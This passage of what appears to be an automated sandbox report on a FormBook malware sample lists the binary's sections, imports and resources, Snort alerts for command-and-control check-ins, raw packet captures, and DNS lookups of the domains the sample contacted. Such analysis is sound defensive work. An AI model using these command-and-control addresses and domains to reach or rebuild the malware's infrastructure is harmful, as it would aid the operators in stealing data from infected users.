                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x2d0000x110fc.rsrc
                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x29c.rdata
                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                  Sections

                                                                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                  .text0x10000x623c0x6400False0.65859375data6.40257705324IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                  .rdata0x80000x12740x1400False0.43359375data5.05749598324IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                  .data0xa0000x1a8580x600False0.445963541667data4.08975001509IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                  .ndata0x250000x80000x0False0empty0.0IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                  .rsrc0x2d0000x110fc0x11200False0.367829037409data5.46665480747IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                  Resources

                                                                                  NameRVASizeTypeLanguageCountry
                                                                                  RT_ICON0x2d1c00x10828dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 4293322470, next used block 4293322470
                                                                                  RT_DIALOG0x3d9e80x144dataEnglishUnited States
                                                                                  RT_DIALOG0x3db2c0x100dataEnglishUnited States
                                                                                  RT_DIALOG0x3dc2c0x11cdataEnglishUnited States
                                                                                  RT_DIALOG0x3dd480x60dataEnglishUnited States
                                                                                  RT_GROUP_ICON0x3dda80x14data
                                                                                  RT_MANIFEST0x3ddbc0x340XML 1.0 document, ASCII text, with very long lines, with no line terminatorsEnglishUnited States

                                                                                  Imports

                                                                                  DLLImport
                                                                                  ADVAPI32.dllRegCreateKeyExA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, SetFileSecurityA, RegOpenKeyExA, RegEnumValueA
                                                                                  SHELL32.dllSHGetFileInfoA, SHFileOperationA, SHGetPathFromIDListA, ShellExecuteExA, SHGetSpecialFolderLocation, SHBrowseForFolderA
                                                                                  ole32.dllIIDFromString, OleInitialize, OleUninitialize, CoCreateInstance, CoTaskMemFree
                                                                                  COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                                                                  USER32.dllSetClipboardData, CharPrevA, CallWindowProcA, PeekMessageA, DispatchMessageA, MessageBoxIndirectA, GetDlgItemTextA, SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, TrackPopupMenu, FillRect, EmptyClipboard, LoadCursorA, GetMessagePos, CheckDlgButton, GetSysColor, SetCursor, GetWindowLongA, SetClassLongA, SetWindowPos, IsWindowEnabled, GetWindowRect, GetSystemMenu, EnableMenuItem, RegisterClassA, ScreenToClient, EndDialog, GetClassInfoA, SystemParametersInfoA, CreateWindowExA, ExitWindowsEx, DialogBoxParamA, CharNextA, SetTimer, DestroyWindow, CreateDialogParamA, SetForegroundWindow, SetWindowTextA, PostQuitMessage, SendMessageTimeoutA, ShowWindow, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, GetDC, SetWindowLongA, LoadImageA, InvalidateRect, ReleaseDC, EnableWindow, BeginPaint, SendMessageA, DefWindowProcA, DrawTextA, GetClientRect, EndPaint, IsWindowVisible, CloseClipboard, OpenClipboard
                                                                                  GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectA, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                                                                  KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetProcAddress, GetSystemDirectoryA, WideCharToMultiByte, MoveFileExA, GetTempFileNameA, RemoveDirectoryA, WriteFile, CreateDirectoryA, GetLastError, CreateProcessA, GlobalLock, GlobalUnlock, CreateThread, lstrcpynA, SetErrorMode, GetDiskFreeSpaceA, lstrlenA, GetCommandLineA, GetVersion, GetWindowsDirectoryA, SetEnvironmentVariableA, GetTempPathA, CopyFileA, GetCurrentProcess, ExitProcess, GetModuleFileNameA, GetFileSize, ReadFile, GetTickCount, Sleep, CreateFileA, GetFileAttributesA, SetCurrentDirectoryA, SetFileAttributesA, GetFullPathNameA, GetShortPathNameA, MoveFileA, CompareFileTime, SetFileTime, SearchPathA, lstrcmpiA, lstrcmpA, CloseHandle, GlobalFree, GlobalAlloc, ExpandEnvironmentStringsA, LoadLibraryExA, FreeLibrary, lstrcpyA, lstrcatA, FindClose, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, GetModuleHandleA, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv

                                                                                  Possible Origin

                                                                                  Language of compilation systemCountry where language is spokenMap
                                                                                  EnglishUnited States

                                                                                  Network Behavior

                                                                                  Snort IDS Alerts

                                                                                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                  05/04/21-08:54:37.837931TCP2031453ET TROJAN FormBook CnC Checkin (GET)4975480192.168.2.445.192.92.174
                                                                                  05/04/21-08:54:37.837931TCP2031449ET TROJAN FormBook CnC Checkin (GET)4975480192.168.2.445.192.92.174
                                                                                  05/04/21-08:54:37.837931TCP2031412ET TROJAN FormBook CnC Checkin (GET)4975480192.168.2.445.192.92.174
                                                                                  05/04/21-08:54:43.546535TCP2031453ET TROJAN FormBook CnC Checkin (GET)4975680192.168.2.4180.150.102.39
                                                                                  05/04/21-08:54:43.546535TCP2031449ET TROJAN FormBook CnC Checkin (GET)4975680192.168.2.4180.150.102.39
                                                                                  05/04/21-08:54:43.546535TCP2031412ET TROJAN FormBook CnC Checkin (GET)4975680192.168.2.4180.150.102.39
                                                                                  05/04/21-08:55:05.078917TCP1201ATTACK-RESPONSES 403 Forbidden804976034.102.136.180192.168.2.4
                                                                                  05/04/21-08:55:21.008251TCP2031453ET TROJAN FormBook CnC Checkin (GET)4976280192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:21.008251TCP2031449ET TROJAN FormBook CnC Checkin (GET)4976280192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:21.008251TCP2031412ET TROJAN FormBook CnC Checkin (GET)4976280192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:21.145359TCP1201ATTACK-RESPONSES 403 Forbidden804976234.102.136.180192.168.2.4
                                                                                  05/04/21-08:55:38.269940TCP2031453ET TROJAN FormBook CnC Checkin (GET)4976780192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:38.269940TCP2031449ET TROJAN FormBook CnC Checkin (GET)4976780192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:38.269940TCP2031412ET TROJAN FormBook CnC Checkin (GET)4976780192.168.2.434.102.136.180
                                                                                  05/04/21-08:55:38.407478TCP1201ATTACK-RESPONSES 403 Forbidden804976734.102.136.180192.168.2.4

                                                                                  Network Port Distribution

                                                                                  TCP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  May 4, 2021 08:54:32.367683887 CEST4974780192.168.2.485.233.160.23
                                                                                  May 4, 2021 08:54:32.421789885 CEST804974785.233.160.23192.168.2.4
                                                                                  May 4, 2021 08:54:32.421941042 CEST4974780192.168.2.485.233.160.23
                                                                                  May 4, 2021 08:54:32.422215939 CEST4974780192.168.2.485.233.160.23
                                                                                  May 4, 2021 08:54:32.476638079 CEST804974785.233.160.23192.168.2.4
                                                                                  May 4, 2021 08:54:32.476701975 CEST804974785.233.160.23192.168.2.4
                                                                                  May 4, 2021 08:54:32.476723909 CEST804974785.233.160.23192.168.2.4
                                                                                  May 4, 2021 08:54:32.476888895 CEST4974780192.168.2.485.233.160.23
                                                                                  May 4, 2021 08:54:32.476979971 CEST4974780192.168.2.485.233.160.23
                                                                                  May 4, 2021 08:54:32.532634974 CEST804974785.233.160.23192.168.2.4
                                                                                  May 4, 2021 08:54:37.567579985 CEST4975480192.168.2.445.192.92.174
                                                                                  May 4, 2021 08:54:37.837506056 CEST804975445.192.92.174192.168.2.4
                                                                                  May 4, 2021 08:54:37.837903023 CEST4975480192.168.2.445.192.92.174
                                                                                  May 4, 2021 08:54:37.837930918 CEST4975480192.168.2.445.192.92.174
                                                                                  May 4, 2021 08:54:38.113504887 CEST804975445.192.92.174192.168.2.4
                                                                                  May 4, 2021 08:54:38.113509893 CEST804975445.192.92.174192.168.2.4
                                                                                  May 4, 2021 08:54:38.113748074 CEST4975480192.168.2.445.192.92.174
                                                                                  May 4, 2021 08:54:38.113831997 CEST4975480192.168.2.445.192.92.174
                                                                                  May 4, 2021 08:54:38.386764050 CEST804975445.192.92.174192.168.2.4
                                                                                  May 4, 2021 08:54:43.195488930 CEST4975680192.168.2.4180.150.102.39
                                                                                  May 4, 2021 08:54:43.545675993 CEST8049756180.150.102.39192.168.2.4
                                                                                  May 4, 2021 08:54:43.546293020 CEST4975680192.168.2.4180.150.102.39
                                                                                  May 4, 2021 08:54:43.546535015 CEST4975680192.168.2.4180.150.102.39
                                                                                  May 4, 2021 08:54:43.895648003 CEST8049756180.150.102.39192.168.2.4
                                                                                  May 4, 2021 08:54:43.896691084 CEST8049756180.150.102.39192.168.2.4
                                                                                  May 4, 2021 08:54:43.896939993 CEST4975680192.168.2.4180.150.102.39
                                                                                  May 4, 2021 08:54:43.897813082 CEST8049756180.150.102.39192.168.2.4
                                                                                  May 4, 2021 08:54:43.897917032 CEST4975680192.168.2.4180.150.102.39
                                                                                  May 4, 2021 08:54:44.245692968 CEST8049756180.150.102.39192.168.2.4
                                                                                  May 4, 2021 08:54:49.003142118 CEST4975880192.168.2.480.237.133.185
                                                                                  May 4, 2021 08:54:49.048491955 CEST804975880.237.133.185192.168.2.4
                                                                                  May 4, 2021 08:54:49.048620939 CEST4975880192.168.2.480.237.133.185
                                                                                  May 4, 2021 08:54:49.048841953 CEST4975880192.168.2.480.237.133.185
                                                                                  May 4, 2021 08:54:49.092149973 CEST804975880.237.133.185192.168.2.4
                                                                                  May 4, 2021 08:54:49.097014904 CEST804975880.237.133.185192.168.2.4
                                                                                  May 4, 2021 08:54:49.097050905 CEST804975880.237.133.185192.168.2.4
                                                                                  May 4, 2021 08:54:49.097234011 CEST4975880192.168.2.480.237.133.185
                                                                                  May 4, 2021 08:54:49.097892046 CEST4975880192.168.2.480.237.133.185
                                                                                  May 4, 2021 08:54:49.141064882 CEST804975880.237.133.185192.168.2.4
                                                                                  May 4, 2021 08:54:54.192709923 CEST4975980192.168.2.4184.168.131.241
                                                                                  May 4, 2021 08:54:54.391144037 CEST8049759184.168.131.241192.168.2.4
                                                                                  May 4, 2021 08:54:54.391248941 CEST4975980192.168.2.4184.168.131.241
                                                                                  May 4, 2021 08:54:54.391402960 CEST4975980192.168.2.4184.168.131.241
                                                                                  May 4, 2021 08:54:54.589600086 CEST8049759184.168.131.241192.168.2.4
                                                                                  May 4, 2021 08:54:54.682499886 CEST8049759184.168.131.241192.168.2.4
                                                                                  May 4, 2021 08:54:54.682531118 CEST8049759184.168.131.241192.168.2.4
                                                                                  May 4, 2021 08:54:54.682717085 CEST4975980192.168.2.4184.168.131.241
                                                                                  May 4, 2021 08:54:54.682779074 CEST4975980192.168.2.4184.168.131.241
                                                                                  May 4, 2021 08:54:54.881187916 CEST8049759184.168.131.241192.168.2.4
                                                                                  May 4, 2021 08:55:04.897644997 CEST4976080192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:04.941278934 CEST804976034.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:04.941497087 CEST4976080192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:04.941901922 CEST4976080192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:04.982851982 CEST804976034.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:05.078917027 CEST804976034.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:05.078938961 CEST804976034.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:05.079170942 CEST4976080192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:05.079277039 CEST4976080192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:05.122402906 CEST804976034.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:10.506853104 CEST4976180192.168.2.4103.20.212.182
                                                                                  May 4, 2021 08:55:10.679174900 CEST8049761103.20.212.182192.168.2.4
                                                                                  May 4, 2021 08:55:10.679285049 CEST4976180192.168.2.4103.20.212.182
                                                                                  May 4, 2021 08:55:10.679526091 CEST4976180192.168.2.4103.20.212.182
                                                                                  May 4, 2021 08:55:10.850577116 CEST8049761103.20.212.182192.168.2.4
                                                                                  May 4, 2021 08:55:10.850706100 CEST8049761103.20.212.182192.168.2.4
                                                                                  May 4, 2021 08:55:10.850723982 CEST8049761103.20.212.182192.168.2.4
                                                                                  May 4, 2021 08:55:10.851479053 CEST4976180192.168.2.4103.20.212.182
                                                                                  May 4, 2021 08:55:10.851572037 CEST4976180192.168.2.4103.20.212.182
                                                                                  May 4, 2021 08:55:11.023406029 CEST8049761103.20.212.182192.168.2.4
                                                                                  May 4, 2021 08:55:20.966938019 CEST4976280192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:21.007847071 CEST804976234.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:21.008017063 CEST4976280192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:21.008250952 CEST4976280192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:21.049695969 CEST804976234.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:21.145359039 CEST804976234.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:21.145416021 CEST804976234.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:21.145603895 CEST4976280192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:21.145704985 CEST4976280192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:21.186539888 CEST804976234.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:26.239953995 CEST4976580192.168.2.460.205.226.138
                                                                                  May 4, 2021 08:55:26.535557032 CEST804976560.205.226.138192.168.2.4
                                                                                  May 4, 2021 08:55:26.535767078 CEST4976580192.168.2.460.205.226.138
                                                                                  May 4, 2021 08:55:26.535928011 CEST4976580192.168.2.460.205.226.138
                                                                                  May 4, 2021 08:55:26.836219072 CEST804976560.205.226.138192.168.2.4
                                                                                  May 4, 2021 08:55:26.837198019 CEST804976560.205.226.138192.168.2.4
                                                                                  May 4, 2021 08:55:26.837332964 CEST4976580192.168.2.460.205.226.138
                                                                                  May 4, 2021 08:55:26.837430954 CEST4976580192.168.2.460.205.226.138
                                                                                  May 4, 2021 08:55:27.133811951 CEST804976560.205.226.138192.168.2.4
                                                                                  May 4, 2021 08:55:32.511096001 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:32.801292896 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:32.801721096 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:32.801975965 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:33.092252016 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092298031 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092314959 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092327118 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092343092 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092364073 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092391014 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092415094 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092439890 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092459917 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.092679977 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:33.092736959 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:33.092770100 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:33.093717098 CEST80497663.34.109.201192.168.2.4
                                                                                  May 4, 2021 08:55:33.093848944 CEST4976680192.168.2.43.34.109.201
                                                                                  May 4, 2021 08:55:38.227521896 CEST4976780192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:38.269376993 CEST804976734.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:38.269705057 CEST4976780192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:38.269939899 CEST4976780192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:38.311146975 CEST804976734.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:38.407478094 CEST804976734.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:38.407506943 CEST804976734.102.136.180192.168.2.4
                                                                                  May 4, 2021 08:55:38.408298969 CEST4976780192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:38.408394098 CEST4976780192.168.2.434.102.136.180
                                                                                  May 4, 2021 08:55:38.454747915 CEST804976734.102.136.180192.168.2.4

                                                                                  UDP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  May 4, 2021 08:53:32.321969032 CEST5912353192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:32.373482943 CEST53591238.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:33.102472067 CEST5453153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:33.151137114 CEST53545318.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:33.865708113 CEST4971453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:33.914460897 CEST53497148.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:34.763379097 CEST5802853192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:34.812117100 CEST53580288.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:35.015626907 CEST5309753192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:35.084990025 CEST53530978.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:35.570826054 CEST4925753192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:35.619414091 CEST53492578.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:36.544101954 CEST6238953192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:36.593426943 CEST53623898.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:37.547804117 CEST4991053192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:37.615000010 CEST53499108.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:38.706684113 CEST5585453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:38.758203030 CEST53558548.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:40.878668070 CEST6454953192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:40.927311897 CEST53645498.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:42.048538923 CEST6315353192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:42.113094091 CEST53631538.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:43.625297070 CEST5299153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:43.678239107 CEST53529918.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:45.004149914 CEST5370053192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:45.055664062 CEST53537008.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:47.759175062 CEST5172653192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:47.812241077 CEST53517268.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:49.185236931 CEST5679453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:49.245027065 CEST53567948.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:50.751013994 CEST5653453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:50.809760094 CEST53565348.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:51.740061045 CEST5662753192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:51.793467045 CEST53566278.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:53.361118078 CEST5662153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:53.411957979 CEST53566218.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:53:54.652123928 CEST6311653192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:53:54.703243971 CEST53631168.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:06.098789930 CEST6407853192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:06.158971071 CEST53640788.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:27.753926992 CEST6480153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:27.802922010 CEST53648018.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:28.968064070 CEST6172153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:29.222940922 CEST53617218.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:29.878684998 CEST5125553192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:29.941461086 CEST53512558.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:30.567852020 CEST6152253192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:30.693922043 CEST53615228.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:31.136306047 CEST5233753192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:31.435522079 CEST53523378.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:32.278393030 CEST5504653192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:32.285552979 CEST4961253192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:32.359016895 CEST53496128.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:32.369518042 CEST53550468.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:33.525938034 CEST4928553192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:33.589524031 CEST53492858.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:35.309840918 CEST5060153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:35.369909048 CEST53506018.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:36.158217907 CEST6087553192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:36.215269089 CEST5644853192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:36.228131056 CEST53608758.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:36.264987946 CEST53564488.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:37.247813940 CEST5917253192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:37.298854113 CEST53591728.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:37.490896940 CEST6242053192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:37.565845966 CEST53624208.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:38.065438986 CEST6057953192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:38.123759985 CEST53605798.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:43.130295992 CEST5018353192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:43.193926096 CEST53501838.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:44.136390924 CEST6153153192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:44.194870949 CEST53615318.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:48.930387974 CEST4922853192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:49.001988888 CEST53492288.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:54.115242004 CEST5979453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:54.191683054 CEST53597948.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:54:59.698904037 CEST5591653192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:54:59.783449888 CEST53559168.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:04.829238892 CEST5275253192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:04.895536900 CEST53527528.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:10.085489988 CEST6054253192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:10.505142927 CEST53605428.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:20.909442902 CEST6068953192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:20.965464115 CEST53606898.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:22.750370979 CEST6420653192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:22.802655935 CEST53642068.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:24.501024961 CEST5090453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:24.572196007 CEST53509048.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:26.167269945 CEST5752553192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:26.238753080 CEST53575258.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:31.854412079 CEST5381453192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:32.509799957 CEST53538148.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:38.163855076 CEST5341853192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:38.225996017 CEST53534188.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:43.440965891 CEST6283353192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:43.503010988 CEST53628338.8.8.8192.168.2.4
                                                                                  May 4, 2021 08:55:48.508343935 CEST5926053192.168.2.48.8.8.8
                                                                                  May 4, 2021 08:55:48.581720114 CEST53592608.8.8.8192.168.2.4

                                                                                  DNS Queries

                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                  May 4, 2021 08:54:32.285552979 CEST192.168.2.48.8.8.80xc984Standard query (0)www.thebestcoffeeshops.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:37.490896940 CEST192.168.2.48.8.8.80xec30Standard query (0)www.szzyhjj.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:43.130295992 CEST192.168.2.48.8.8.80x9494Standard query (0)www.puzed.netA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:48.930387974 CEST192.168.2.48.8.8.80xc6ccStandard query (0)www.makeoverfurn.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:54.115242004 CEST192.168.2.48.8.8.80xb8feStandard query (0)www.theboundless.lifeA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:54:59.698904037 CEST192.168.2.48.8.8.80x77d7Standard query (0)www.amwajcare.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:04.829238892 CEST192.168.2.48.8.8.80x5fd9Standard query (0)www.northernbackflow.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:10.085489988 CEST192.168.2.48.8.8.80x17d4Standard query (0)www.crickescore.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:20.909442902 CEST192.168.2.48.8.8.80x6c97Standard query (0)www.1800quilts.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:26.167269945 CEST192.168.2.48.8.8.80xeb80Standard query (0)www.xiangyuwenhua.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:31.854412079 CEST192.168.2.48.8.8.80x3105Standard query (0)www.seroungift.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:38.163855076 CEST192.168.2.48.8.8.80x3726Standard query (0)www.carboncuriosity.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:43.440965891 CEST192.168.2.48.8.8.80xd018Standard query (0)www.centerplans.comA (IP address)IN (0x0001)
                                                                                  May 4, 2021 08:55:48.508343935 CEST192.168.2.48.8.8.80x833aStandard query (0)www.boxj66.comA (IP address)IN (0x0001)

                                                                                  DNS Answers

                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                  May 4, 2021 08:54:32.359016895 CEST8.8.8.8192.168.2.40xc984No error (0)www.thebestcoffeeshops.comfwd3.hosts.co.ukCNAME (Canonical name)IN (0x0001)
                                                                                  May 4, 2021 08:54:32.359016895 CEST8.8.8.8192.168.2.40xc984No error (0)fwd3.hosts.co.uk85.233.160.23A (IP address)IN (0x0001)
